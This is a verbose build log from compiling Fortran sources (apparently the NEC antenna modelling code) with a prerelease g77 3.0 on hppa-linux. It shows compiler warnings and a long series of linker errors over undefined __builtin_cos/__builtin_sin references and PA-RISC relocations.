gcc version 3.0 20010315 (prerelease)
 /usr/lib/gcc-lib/hppa-linux/3.0/f771 nech.f -quiet -dumpbase nech.f -O2 -version -o /tmp/cctgovxG.s
GNU F77 version 3.0 20010315 (prerelease) (hppa-linux)
	compiled by GNU C version 3.0 20010315 (prerelease).
nech.f: In subroutine `load':
nech.f:548: warning:
    19   CALL PRNT (LDTAGS,LDTAGF(ISTEP),LDTAGT(ISTEP),ZLR(ISTEP),ZLI(ISTEP
              1
nech.f:554: (continued):
    21   CALL PRNT (LDTAGS,LDTAGF(ISTEP),LDTAGT(ISTEP),ZLR(ISTEP),ZLI(ISTEP
              2
Too few arguments for `prnt' at (2) versus invocation at (1) [info -f g77 M GLOBALS]
 as -V -o nech.o /tmp/cctgovxG.s
GNU assembler version 2.10.91 (hppa2.0-unknown-linux-gnu) using BFD version 2.10.91
g77 -v -O2  -c -o necl.o necl.f
g77 version 3.0 20010315 (prerelease) (Fortran Frontend version 0.5.26 20010315 (experimental))
Reading specs from /usr/lib/gcc-lib/hppa-linux/3.0/specs
Configured with: ../src/configure -v --enable-languages=c,c++,f77,proto,objc --prefix=/usr --infodir=/share/info --mandir=/share/man --enable-shared --with-gnu-as --with-gnu-ld --with-system-zlib --enable-threads=posix --enable-long-long --enable-nls --without-x --without-included-gettext --with-cpp-install-dir=bin --enable-objc-gc hppa-linux : (reconfigured) 
gcc version 3.0 20010315 (prerelease)
 /usr/lib/gcc-lib/hppa-linux/3.0/f771 necl.f -quiet -dumpbase necl.f -O2 -version -o /tmp/ccHyPdIP.s
GNU F77 version 3.0 20010315 (prerelease) (hppa-linux)
	compiled by GNU C version 3.0 20010315 (prerelease).
 as -V -o necl.o /tmp/ccHyPdIP.s
GNU assembler version 2.10.91 (hppa2.0-unknown-linux-gnu) using BFD version 2.10.91
g77 -v -O2  -c -o necn.o necn.f
g77 version 3.0 20010315 (prerelease) (Fortran Frontend version 0.5.26 20010315 (experimental))
Reading specs from /usr/lib/gcc-lib/hppa-linux/3.0/specs
Configured with: ../src/configure -v --enable-languages=c,c++,f77,proto,objc --prefix=/usr --infodir=/share/info --mandir=/share/man --enable-shared --with-gnu-as --with-gnu-ld --with-system-zlib --enable-threads=posix --enable-long-long --enable-nls --without-x --without-included-gettext --with-cpp-install-dir=bin --enable-objc-gc hppa-linux : (reconfigured) 
gcc version 3.0 20010315 (prerelease)
 /usr/lib/gcc-lib/hppa-linux/3.0/f771 necn.f -quiet -dumpbase necn.f -O2 -version -o /tmp/ccqxtT4S.s
GNU F77 version 3.0 20010315 (prerelease) (hppa-linux)
	compiled by GNU C version 3.0 20010315 (prerelease).
 as -V -o necn.o /tmp/ccqxtT4S.s
GNU assembler version 2.10.91 (hppa2.0-unknown-linux-gnu) using BFD version 2.10.91
g77 -v -O2  -c -o necp.o necp.f
g77 version 3.0 20010315 (prerelease) (Fortran Frontend version 0.5.26 20010315 (experimental))
Reading specs from /usr/lib/gcc-lib/hppa-linux/3.0/specs
Configured with: ../src/configure -v --enable-languages=c,c++,f77,proto,objc --prefix=/usr --infodir=/share/info --mandir=/share/man --enable-shared --with-gnu-as --with-gnu-ld --with-system-zlib --enable-threads=posix --enable-long-long --enable-nls --without-x --without-included-gettext --with-cpp-install-dir=bin --enable-objc-gc hppa-linux : (reconfigured) 
gcc version 3.0 20010315 (prerelease)
 /usr/lib/gcc-lib/hppa-linux/3.0/f771 necp.f -quiet -dumpbase necp.f -O2 -version -o /tmp/ccNXJhfH.s
GNU F77 version 3.0 20010315 (prerelease) (hppa-linux)
	compiled by GNU C version 3.0 20010315 (prerelease).
necp.f: In subroutine `rdpat':
necp.f:279: warning:
         COMMON /SAVE/ IP(600),KCOM,COM(19,5),EPSR,SIG,SCRWLT,SCRWRT,FMHZ  
                 ^
Initial padding for common block `save' is 4 bytes at (^) -- consider reordering members, largest-type-size first
 as -V -o necp.o /tmp/ccNXJhfH.s
GNU assembler version 2.10.91 (hppa2.0-unknown-linux-gnu) using BFD version 2.10.91
g77 -v -O2  -c -o necr.o necr.f
g77 version 3.0 20010315 (prerelease) (Fortran Frontend version 0.5.26 20010315 (experimental))
Reading specs from /usr/lib/gcc-lib/hppa-linux/3.0/specs
Configured with: ../src/configure -v --enable-languages=c,c++,f77,proto,objc --prefix=/usr --infodir=/share/info --mandir=/share/man --enable-shared --with-gnu-as --with-gnu-ld --with-system-zlib --enable-threads=posix --enable-long-long --enable-nls --without-x --without-included-gettext --with-cpp-install-dir=bin --enable-objc-gc hppa-linux : (reconfigured) 
gcc version 3.0 20010315 (prerelease)
 /usr/lib/gcc-lib/hppa-linux/3.0/f771 necr.f -quiet -dumpbase necr.f -O2 -version -o /tmp/cc9Dqxkp.s
GNU F77 version 3.0 20010315 (prerelease) (hppa-linux)
	compiled by GNU C version 3.0 20010315 (prerelease).
 as -V -o necr.o /tmp/cc9Dqxkp.s
GNU assembler version 2.10.91 (hppa2.0-unknown-linux-gnu) using BFD version 2.10.91
g77 -v -O2  -c -o necs.o necs.f
g77 version 3.0 20010315 (prerelease) (Fortran Frontend version 0.5.26 20010315 (experimental))
Reading specs from /usr/lib/gcc-lib/hppa-linux/3.0/specs
Configured with: ../src/configure -v --enable-languages=c,c++,f77,proto,objc --prefix=/usr --infodir=/share/info --mandir=/share/man --enable-shared --with-gnu-as --with-gnu-ld --with-system-zlib --enable-threads=posix --enable-long-long --enable-nls --without-x --without-included-gettext --with-cpp-install-dir=bin --enable-objc-gc hppa-linux : (reconfigured) 
gcc version 3.0 20010315 (prerelease)
 /usr/lib/gcc-lib/hppa-linux/3.0/f771 necs.f -quiet -dumpbase necs.f -O2 -version -o /tmp/ccCfDuco.s
GNU F77 version 3.0 20010315 (prerelease) (hppa-linux)
	compiled by GNU C version 3.0 20010315 (prerelease).
 as -V -o necs.o /tmp/ccCfDuco.s
GNU assembler version 2.10.91 (hppa2.0-unknown-linux-gnu) using BFD version 2.10.91
cc    -c -o errsns.o errsns.c
g77 neca.o necc.o necd.o nece.o necf.o necg.o nech.o necl.o necn.o necp.o necr.o necs.o errsns.o -v -O2 -o nec
g77 version 3.0 20010315 (prerelease) (Fortran Frontend version 0.5.26 20010315 (experimental))
Driving: g77 neca.o necc.o necd.o nece.o necf.o necg.o nech.o necl.o necn.o necp.o necr.o necs.o errsns.o -v -O2 -o nec -lg2c -lm
Reading specs from /usr/lib/gcc-lib/hppa-linux/3.0/specs
Configured with: ../src/configure -v --enable-languages=c,c++,f77,proto,objc --prefix=/usr --infodir=/share/info --mandir=/share/man --enable-shared --with-gnu-as --with-gnu-ld --with-system-zlib --enable-threads=posix --enable-long-long --enable-nls --without-x --without-included-gettext --with-cpp-install-dir=bin --enable-objc-gc hppa-linux : (reconfigured) 
gcc version 3.0 20010315 (prerelease)
 /usr/lib/gcc-lib/hppa-linux/3.0/collect2 -dynamic-linker /lib/ld.so.1 -o nec /usr/lib/gcc-lib/hppa-linux/3.0/../../../crt1.o /usr/lib/gcc-lib/hppa-linux/3.0/../../../crti.o /usr/lib/gcc-lib/hppa-linux/3.0/crtbegin.o -L/usr/lib/gcc-lib/hppa-linux/3.0 -L/usr/lib/gcc-lib/hppa-linux/3.0/../../.. neca.o necc.o necd.o nece.o necf.o necg.o nech.o necl.o necn.o necp.o necr.o necs.o errsns.o -lg2c -lm -lgcc -lc -lgcc /usr/lib/gcc-lib/hppa-linux/3.0/crtend.o /usr/lib/gcc-lib/hppa-linux/3.0/../../../crtn.o
neca.o: In function `arc_':
neca.o(.text+0xf4): undefined reference to `__builtin_cos'
/usr/local/bin/ld: neca.o(.text+0xf4): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: neca.o(.text+0xf4): cannot handle R_PARISC_PCREL17F for __builtin_cos
neca.o(.text+0x108): undefined reference to `__builtin_sin'
/usr/local/bin/ld: neca.o(.text+0x108): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: neca.o(.text+0x108): cannot handle R_PARISC_PCREL17F for __builtin_sin
neca.o(.text+0x124): undefined reference to `__builtin_cos'
/usr/local/bin/ld: neca.o(.text+0x124): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: neca.o(.text+0x124): cannot handle R_PARISC_PCREL17F for __builtin_cos
neca.o(.text+0x130): undefined reference to `__builtin_sin'
/usr/local/bin/ld: neca.o(.text+0x130): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: neca.o(.text+0x130): cannot handle R_PARISC_PCREL17F for __builtin_sin
neca.o: In function `cabc_':
neca.o(.text+0x870): undefined reference to `__builtin_cos'
/usr/local/bin/ld: neca.o(.text+0x870): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: neca.o(.text+0x870): cannot handle R_PARISC_PCREL17F for __builtin_cos
neca.o(.text+0x884): undefined reference to `__builtin_sin'
/usr/local/bin/ld: neca.o(.text+0x884): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: neca.o(.text+0x884): cannot handle R_PARISC_PCREL17F for __builtin_sin
necc.o: In function `cmsw_':
necc.o(.text+0x4f8): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necc.o(.text+0x4f8): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necc.o(.text+0x4f8): cannot handle R_PARISC_PCREL17F for __builtin_sin
necc.o(.text+0x504): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necc.o(.text+0x504): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necc.o(.text+0x504): cannot handle R_PARISC_PCREL17F for __builtin_cos
necc.o(.text+0xc78): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necc.o(.text+0xc78): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necc.o(.text+0xc78): cannot handle R_PARISC_PCREL17F for __builtin_sin
necc.o(.text+0xc84): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necc.o(.text+0xc84): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necc.o(.text+0xc84): cannot handle R_PARISC_PCREL17F for __builtin_cos
necd.o: In function `efld_':
necd.o(.text+0x20a4): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necd.o(.text+0x20a4): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necd.o(.text+0x20a4): cannot handle R_PARISC_PCREL17F for __builtin_cos
necd.o(.text+0x20bc): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necd.o(.text+0x20bc): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necd.o(.text+0x20bc): cannot handle R_PARISC_PCREL17F for __builtin_sin
necd.o(.text+0x2270): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necd.o(.text+0x2270): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necd.o(.text+0x2270): cannot handle R_PARISC_PCREL17F for __builtin_sin
necd.o: In function `eksc_':
necd.o(.text+0x3930): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necd.o(.text+0x3930): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necd.o(.text+0x3930): cannot handle R_PARISC_PCREL17F for __builtin_sin
necd.o(.text+0x393c): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necd.o(.text+0x393c): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necd.o(.text+0x393c): cannot handle R_PARISC_PCREL17F for __builtin_cos
nece.o: In function `ekscx_':
nece.o(.text+0x110): undefined reference to `__builtin_sin'
/usr/local/bin/ld: nece.o(.text+0x110): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: nece.o(.text+0x110): cannot handle R_PARISC_PCREL17F for __builtin_sin
nece.o(.text+0x11c): undefined reference to `__builtin_cos'
/usr/local/bin/ld: nece.o(.text+0x11c): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: nece.o(.text+0x11c): cannot handle R_PARISC_PCREL17F for __builtin_cos
nece.o: In function `error_':
nece.o(.text+0xa38): undefined reference to `errsns_'
/usr/local/bin/ld: nece.o(.text+0xa38): cannot find stub entry 00000038_errsns_+0
/usr/local/bin/ld: nece.o(.text+0xa38): cannot handle R_PARISC_PCREL17F for errsns_
nece.o: In function `etmns_':
nece.o(.text+0xb48): undefined reference to `__builtin_cos'
/usr/local/bin/ld: nece.o(.text+0xb48): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: nece.o(.text+0xb48): cannot handle R_PARISC_PCREL17F for __builtin_cos
nece.o(.text+0xb68): undefined reference to `__builtin_cos'
/usr/local/bin/ld: nece.o(.text+0xb68): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: nece.o(.text+0xb68): cannot handle R_PARISC_PCREL17F for __builtin_cos
nece.o(.text+0xb84): undefined reference to `__builtin_sin'
/usr/local/bin/ld: nece.o(.text+0xb84): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: nece.o(.text+0xb84): cannot handle R_PARISC_PCREL17F for __builtin_sin
nece.o(.text+0xba0): undefined reference to `__builtin_sin'
/usr/local/bin/ld: nece.o(.text+0xba0): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: nece.o(.text+0xba0): cannot handle R_PARISC_PCREL17F for __builtin_sin
nece.o(.text+0xd40): undefined reference to `__builtin_cos'
/usr/local/bin/ld: nece.o(.text+0xd40): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: nece.o(.text+0xd40): cannot handle R_PARISC_PCREL17F for __builtin_cos
nece.o(.text+0xd4c): undefined reference to `__builtin_sin'
/usr/local/bin/ld: nece.o(.text+0xd4c): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: nece.o(.text+0xd4c): cannot handle R_PARISC_PCREL17F for __builtin_sin
nece.o(.text+0x1340): undefined reference to `__builtin_cos'
/usr/local/bin/ld: nece.o(.text+0x1340): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: nece.o(.text+0x1340): cannot handle R_PARISC_PCREL17F for __builtin_cos
nece.o(.text+0x134c): undefined reference to `__builtin_sin'
/usr/local/bin/ld: nece.o(.text+0x134c): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: nece.o(.text+0x134c): cannot handle R_PARISC_PCREL17F for __builtin_sin
nece.o(.text+0x136c): undefined reference to `__builtin_cos'
/usr/local/bin/ld: nece.o(.text+0x136c): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: nece.o(.text+0x136c): cannot handle R_PARISC_PCREL17F for __builtin_cos
nece.o(.text+0x1380): undefined reference to `__builtin_sin'
/usr/local/bin/ld: nece.o(.text+0x1380): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: nece.o(.text+0x1380): cannot handle R_PARISC_PCREL17F for __builtin_sin
nece.o(.text+0x139c): undefined reference to `__builtin_cos'
/usr/local/bin/ld: nece.o(.text+0x139c): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: nece.o(.text+0x139c): cannot handle R_PARISC_PCREL17F for __builtin_cos
nece.o(.text+0x13a8): undefined reference to `__builtin_sin'
/usr/local/bin/ld: nece.o(.text+0x13a8): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: nece.o(.text+0x13a8): cannot handle R_PARISC_PCREL17F for __builtin_sin
nece.o(.text+0x1664): undefined reference to `__builtin_cos'
/usr/local/bin/ld: nece.o(.text+0x1664): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: nece.o(.text+0x1664): cannot handle R_PARISC_PCREL17F for __builtin_cos
nece.o(.text+0x1670): undefined reference to `__builtin_sin'
/usr/local/bin/ld: nece.o(.text+0x1670): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: nece.o(.text+0x1670): cannot handle R_PARISC_PCREL17F for __builtin_sin
nece.o(.text+0x186c): undefined reference to `__builtin_cos'
/usr/local/bin/ld: nece.o(.text+0x186c): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: nece.o(.text+0x186c): cannot handle R_PARISC_PCREL17F for __builtin_cos
nece.o(.text+0x1878): undefined reference to `__builtin_sin'
/usr/local/bin/ld: nece.o(.text+0x1878): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: nece.o(.text+0x1878): cannot handle R_PARISC_PCREL17F for __builtin_sin
nece.o(.text+0x199c): undefined reference to `__builtin_cos'
/usr/local/bin/ld: nece.o(.text+0x199c): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: nece.o(.text+0x199c): cannot handle R_PARISC_PCREL17F for __builtin_cos
nece.o(.text+0x19a8): undefined reference to `__builtin_sin'
/usr/local/bin/ld: nece.o(.text+0x19a8): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: nece.o(.text+0x19a8): cannot handle R_PARISC_PCREL17F for __builtin_sin
nece.o(.text+0x1c28): undefined reference to `__builtin_cos'
/usr/local/bin/ld: nece.o(.text+0x1c28): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: nece.o(.text+0x1c28): cannot handle R_PARISC_PCREL17F for __builtin_cos
nece.o(.text+0x1c34): undefined reference to `__builtin_sin'
/usr/local/bin/ld: nece.o(.text+0x1c34): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: nece.o(.text+0x1c34): cannot handle R_PARISC_PCREL17F for __builtin_sin
nece.o(.text+0x1f10): undefined reference to `__builtin_cos'
/usr/local/bin/ld: nece.o(.text+0x1f10): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: nece.o(.text+0x1f10): cannot handle R_PARISC_PCREL17F for __builtin_cos
nece.o(.text+0x1f1c): undefined reference to `__builtin_sin'
/usr/local/bin/ld: nece.o(.text+0x1f1c): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: nece.o(.text+0x1f1c): cannot handle R_PARISC_PCREL17F for __builtin_sin
nece.o(.text+0x21c8): undefined reference to `__builtin_cos'
/usr/local/bin/ld: nece.o(.text+0x21c8): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: nece.o(.text+0x21c8): cannot handle R_PARISC_PCREL17F for __builtin_cos
nece.o(.text+0x21d4): undefined reference to `__builtin_sin'
/usr/local/bin/ld: nece.o(.text+0x21d4): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: nece.o(.text+0x21d4): cannot handle R_PARISC_PCREL17F for __builtin_sin
nece.o(.text+0x236c): undefined reference to `__builtin_cos'
/usr/local/bin/ld: nece.o(.text+0x236c): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: nece.o(.text+0x236c): cannot handle R_PARISC_PCREL17F for __builtin_cos
nece.o(.text+0x2378): undefined reference to `__builtin_sin'
/usr/local/bin/ld: nece.o(.text+0x2378): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: nece.o(.text+0x2378): cannot handle R_PARISC_PCREL17F for __builtin_sin
nece.o(.text+0x26a4): undefined reference to `__builtin_cos'
/usr/local/bin/ld: nece.o(.text+0x26a4): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: nece.o(.text+0x26a4): cannot handle R_PARISC_PCREL17F for __builtin_cos
nece.o(.text+0x26b0): undefined reference to `__builtin_sin'
/usr/local/bin/ld: nece.o(.text+0x26b0): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: nece.o(.text+0x26b0): cannot handle R_PARISC_PCREL17F for __builtin_sin
necf.o: In function `L2':
necf.o(.text+0x2e4): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necf.o(.text+0x2e4): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necf.o(.text+0x2e4): cannot handle R_PARISC_PCREL17F for __builtin_cos
necf.o(.text+0x2f0): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necf.o(.text+0x2f0): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necf.o(.text+0x2f0): cannot handle R_PARISC_PCREL17F for __builtin_sin
necf.o: In function `ffld_':
necf.o(.text+0xb48): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necf.o(.text+0xb48): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necf.o(.text+0xb48): cannot handle R_PARISC_PCREL17F for __builtin_sin
necf.o(.text+0xb58): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necf.o(.text+0xb58): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necf.o(.text+0xb58): cannot handle R_PARISC_PCREL17F for __builtin_cos
necf.o(.text+0xb70): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necf.o(.text+0xb70): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necf.o(.text+0xb70): cannot handle R_PARISC_PCREL17F for __builtin_cos
necf.o(.text+0xb98): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necf.o(.text+0xb98): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necf.o(.text+0xb98): cannot handle R_PARISC_PCREL17F for __builtin_sin
necf.o(.text+0x10b4): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necf.o(.text+0x10b4): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necf.o(.text+0x10b4): cannot handle R_PARISC_PCREL17F for __builtin_sin
necf.o(.text+0x10e8): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necf.o(.text+0x10e8): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necf.o(.text+0x10e8): cannot handle R_PARISC_PCREL17F for __builtin_sin
necf.o(.text+0x1118): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necf.o(.text+0x1118): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necf.o(.text+0x1118): cannot handle R_PARISC_PCREL17F for __builtin_sin
necf.o(.text+0x11b0): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necf.o(.text+0x11b0): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necf.o(.text+0x11b0): cannot handle R_PARISC_PCREL17F for __builtin_cos
necf.o(.text+0x11bc): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necf.o(.text+0x11bc): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necf.o(.text+0x11bc): cannot handle R_PARISC_PCREL17F for __builtin_sin
necf.o(.text+0x1e24): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necf.o(.text+0x1e24): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necf.o(.text+0x1e24): cannot handle R_PARISC_PCREL17F for __builtin_cos
necf.o(.text+0x1e30): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necf.o(.text+0x1e30): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necf.o(.text+0x1e30): cannot handle R_PARISC_PCREL17F for __builtin_sin
necf.o: In function `fflds_':
necf.o(.text+0x227c): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necf.o(.text+0x227c): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necf.o(.text+0x227c): cannot handle R_PARISC_PCREL17F for __builtin_cos
necf.o(.text+0x228c): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necf.o(.text+0x228c): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necf.o(.text+0x228c): cannot handle R_PARISC_PCREL17F for __builtin_sin
necf.o: In function `gf_':
necf.o(.text+0x2558): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necf.o(.text+0x2558): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necf.o(.text+0x2558): cannot handle R_PARISC_PCREL17F for __builtin_sin
necf.o(.text+0x2578): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necf.o(.text+0x2578): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necf.o(.text+0x2578): cannot handle R_PARISC_PCREL17F for __builtin_cos
necf.o(.text+0x25c8): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necf.o(.text+0x25c8): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necf.o(.text+0x25c8): cannot handle R_PARISC_PCREL17F for __builtin_cos
necf.o: In function `gfld_':
necf.o(.text+0x3b9c): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necf.o(.text+0x3b9c): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necf.o(.text+0x3b9c): cannot handle R_PARISC_PCREL17F for __builtin_sin
necf.o(.text+0x3bb4): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necf.o(.text+0x3bb4): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necf.o(.text+0x3bb4): cannot handle R_PARISC_PCREL17F for __builtin_cos
necf.o(.text+0x3e74): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necf.o(.text+0x3e74): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necf.o(.text+0x3e74): cannot handle R_PARISC_PCREL17F for __builtin_sin
necf.o(.text+0x3ea8): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necf.o(.text+0x3ea8): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necf.o(.text+0x3ea8): cannot handle R_PARISC_PCREL17F for __builtin_sin
necf.o(.text+0x3ed8): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necf.o(.text+0x3ed8): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necf.o(.text+0x3ed8): cannot handle R_PARISC_PCREL17F for __builtin_sin
necf.o(.text+0x3f60): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necf.o(.text+0x3f60): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necf.o(.text+0x3f60): cannot handle R_PARISC_PCREL17F for __builtin_cos
necf.o(.text+0x3f6c): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necf.o(.text+0x3f6c): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necf.o(.text+0x3f6c): cannot handle R_PARISC_PCREL17F for __builtin_sin
necf.o(.text+0x42c4): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necf.o(.text+0x42c4): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necf.o(.text+0x42c4): cannot handle R_PARISC_PCREL17F for __builtin_cos
necf.o(.text+0x42d0): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necf.o(.text+0x42d0): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necf.o(.text+0x42d0): cannot handle R_PARISC_PCREL17F for __builtin_sin
necf.o(.text+0x45b4): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necf.o(.text+0x45b4): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necf.o(.text+0x45b4): cannot handle R_PARISC_PCREL17F for __builtin_cos
necf.o(.text+0x45c0): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necf.o(.text+0x45c0): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necf.o(.text+0x45c0): cannot handle R_PARISC_PCREL17F for __builtin_sin
necg.o: In function `gh_':
necg.o(.text+0xf18): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necg.o(.text+0xf18): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necg.o(.text+0xf18): cannot handle R_PARISC_PCREL17F for __builtin_cos
necg.o(.text+0xf24): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necg.o(.text+0xf24): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necg.o(.text+0xf24): cannot handle R_PARISC_PCREL17F for __builtin_sin
necg.o: In function `gx_':
necg.o(.text+0x253c): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necg.o(.text+0x253c): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necg.o(.text+0x253c): cannot handle R_PARISC_PCREL17F for __builtin_cos
necg.o(.text+0x2548): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necg.o(.text+0x2548): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necg.o(.text+0x2548): cannot handle R_PARISC_PCREL17F for __builtin_sin
necg.o: In function `gxx_':
necg.o(.text+0x27c0): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necg.o(.text+0x27c0): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necg.o(.text+0x27c0): cannot handle R_PARISC_PCREL17F for __builtin_cos
necg.o(.text+0x27cc): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necg.o(.text+0x27cc): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necg.o(.text+0x27cc): cannot handle R_PARISC_PCREL17F for __builtin_sin
necg.o: In function `helix_':
necg.o(.text+0x2f20): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necg.o(.text+0x2f20): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necg.o(.text+0x2f20): cannot handle R_PARISC_PCREL17F for __builtin_cos
necg.o(.text+0x2f64): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necg.o(.text+0x2f64): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necg.o(.text+0x2f64): cannot handle R_PARISC_PCREL17F for __builtin_sin
necg.o(.text+0x2fac): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necg.o(.text+0x2fac): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necg.o(.text+0x2fac): cannot handle R_PARISC_PCREL17F for __builtin_cos
necg.o(.text+0x2ff4): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necg.o(.text+0x2ff4): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necg.o(.text+0x2ff4): cannot handle R_PARISC_PCREL17F for __builtin_sin
necg.o: In function `L412':
